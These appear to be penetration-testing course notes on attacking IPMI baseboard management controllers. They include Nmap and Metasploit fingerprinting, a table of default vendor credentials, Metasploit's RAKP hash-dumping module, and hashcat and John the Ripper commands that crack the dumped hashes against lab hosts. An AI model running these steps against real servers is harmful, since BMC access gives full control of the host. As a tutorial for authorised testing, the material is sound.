IPMI
Intelligent Platform Management Interface (IPMI) is a set of standardized specifications for hardware-based host management systems used for system management and monitoring. It acts as an autonomous subsystem and works independently of the host's BIOS, CPU, firmware, and underlying operating system. IPMI provides sysadmins with the ability to manage and monitor systems even if they are powered off or in an unresponsive state. It operates using a direct network connection to the system's hardware and does not require access to the operating system via a login shell.
Footprinting the Service
IPMI communicates over port 623 UDP. Systems that use the IPMI protocol are called Baseboard Management Controllers (BMCs). BMCs are typically implemented as embedded ARM systems running Linux, and connected directly to the host's motherboard. BMCs are built into many motherboards but can also be added to a system as a PCI card. Most servers either come with a BMC or support adding a BMC. The most common BMCs we often see during internal penetration tests are HP iLO, Dell DRAC, and Supermicro IPMI. If we can access a BMC during an assessment, we would gain full access to the host motherboard and be able to monitor, reboot, power off, or even reinstall the host operating system. Gaining access to a BMC is nearly equivalent to physical access to a system.
Many BMCs (including HP iLO, Dell DRAC, and Supermicro IPMI) expose a web-based management console, some sort of command-line remote access protocol such as Telnet or SSH.
neutron@kali[/kali]$ sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-04 21:48 GMT
Nmap scan report for ilo.inlanfreight.local (172.16.2.2)
Host is up (0.00064s latency).
PORT STATE SERVICE
623/udp open asf-rmcp
| ipmi-version:
| Version:
| IPMI-2.0
| UserAuth:
| PassAuth: auth_user, non_null_user
|_ Level: 2.0
MAC Address: 14:03:DC:674:18:6A (Hewlett Packard Enterprise)
Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
IPMI protocol is indeed listening on port 623, and Nmap has fingerprinted version 2.0 of the protocol. We can also use the Metasploit scanner module IPMI Information Discovery (auxiliary/scanner/ipmi/ipmi_version)
msf6 > use auxiliary/scanner/ipmi/ipmi_version
msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_version) > show options
Module options (auxiliary/scanner/ipmi/ipmi_version):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS 10.129.42.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 623 yes The target port (UDP)
THREADS 10 yes The number of concurrent threads
msf6 auxiliary(scanner/ipmi/ipmi_version) > run
[*] Sending IPMI requests to 10.129.42.195->10.129.42.195 (1 hosts)
[+] 10.129.42.195:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
During internal penetration tests, we often find BMCs where the administrators have not changed the default password. Some unique default passwords include:
| Product | Username | Password |
|---|---|---|
| Dell iDRAC | root | calvin |
| HP iLO | Administrator | randomized 8-character string consisting of numbers and uppercase letters |
| Supermicro IPMI | ADMIN | ADMIN |
It is also essential to try out known default passwords for ANY services that we discover, as these are often left unchanged and can lead to quick wins. When dealing with BMCs, these default passwords may gain us access to the web console or even command line access via SSH or Telnet.
Dangerous Settings
If default credentials do not work to access a BMC, we can turn to a flaw in the RAKP protocol in IPMI 2.0. During the authentication process, the server sends a salted SHA1 or MD5 hash of the user's password to the client before authentication takes place. This can be leveraged to obtain the password hash for ANY valid user account on the BMC. These password hashes can then be cracked offline using a dictionary attack using Hashcat mode 7300. In the event of an HP iLO using a factory default password, we can use this Hashcat mask attack command hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u which tries all combinations of upper case letters and numbers for an eight-character password.
To retrieve IPMI hashes, we can use the Metasploit IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval module.
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options
Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):
Name Current Setting Required Description
---- --------------- -------- -----------
CRACK_COMMON true yes Automatically crack common passwords as they are obtained
OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format
OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format
PASS_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt yes File containing common passwords for offline cracking, one per line
RHOSTS 10.129.42.195 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 623 yes The target port
THREADS 1 yes The number of concurrent threads (max one per host)
USER_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt yes File containing usernames, one per line
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.129.42.195:623 - IPMI - Hash found: ADMIN:8e160d4802040000205ee9253b6b8dac3052c837e23faa631260719fce740d45c3139a7dd4317b9ea123456789abcdefa123456789abcdef140541444d494e:a3e82878a09daa8ae3e6c22f9080f8337fe0ed7e
[+] 10.129.42.195:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
We have successfully obtained the password hash for the user ADMIN, and the tool was able to quickly crack it to reveal what appears to be a default password ADMIN. From here, we could attempt to log in to the BMC, or, if the password were something more unique, check for password re-use on other systems. IPMI is very common in network environments since sysadmins need to be able to access servers remotely in the event of an outage or perform certain maintenance tasks that they would traditionally have had to be physically in front of the server to complete. This ease of administration comes with the risk of exposing password hashes to anyone on the network and can lead to unauthorized access, system disruption, and even remote code execution. Checking for IPMI should be part of our internal penetration test playbook for any environment we find ourselves assessing.
Cracking with John (true being the hashdump file from metasploit)
$ cat true
10.129.202.5 admin:$rakp$acb7c1bb82040000b34cd63433dcdc0bae326d5b80f48e04a1502ec990d05f4a42f2514a943ececba123456789abcdefa123456789abcdef140561646d696e$e06ce138ae580d96f1f287e2775af26db58e5c8f
┌──(kali㉿kali)-[~]
└─$ john --format=rakp true
Using default input encoding: UTF-8
Loaded 1 password hash (RAKP, IPMI 2.0 RAKP (RMCP+) [HMAC-SHA1 256/256 AVX2 8x])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
trinity (10.129.202.5 admin)
1g 0:00:00:00 DONE 2/3 (2021-12-28 06:38) 25.00g/s 345475p/s 345475c/s 345475C/s keller..222222
Use the "--show" option to display all of the cracked passwords reliably
Session completed.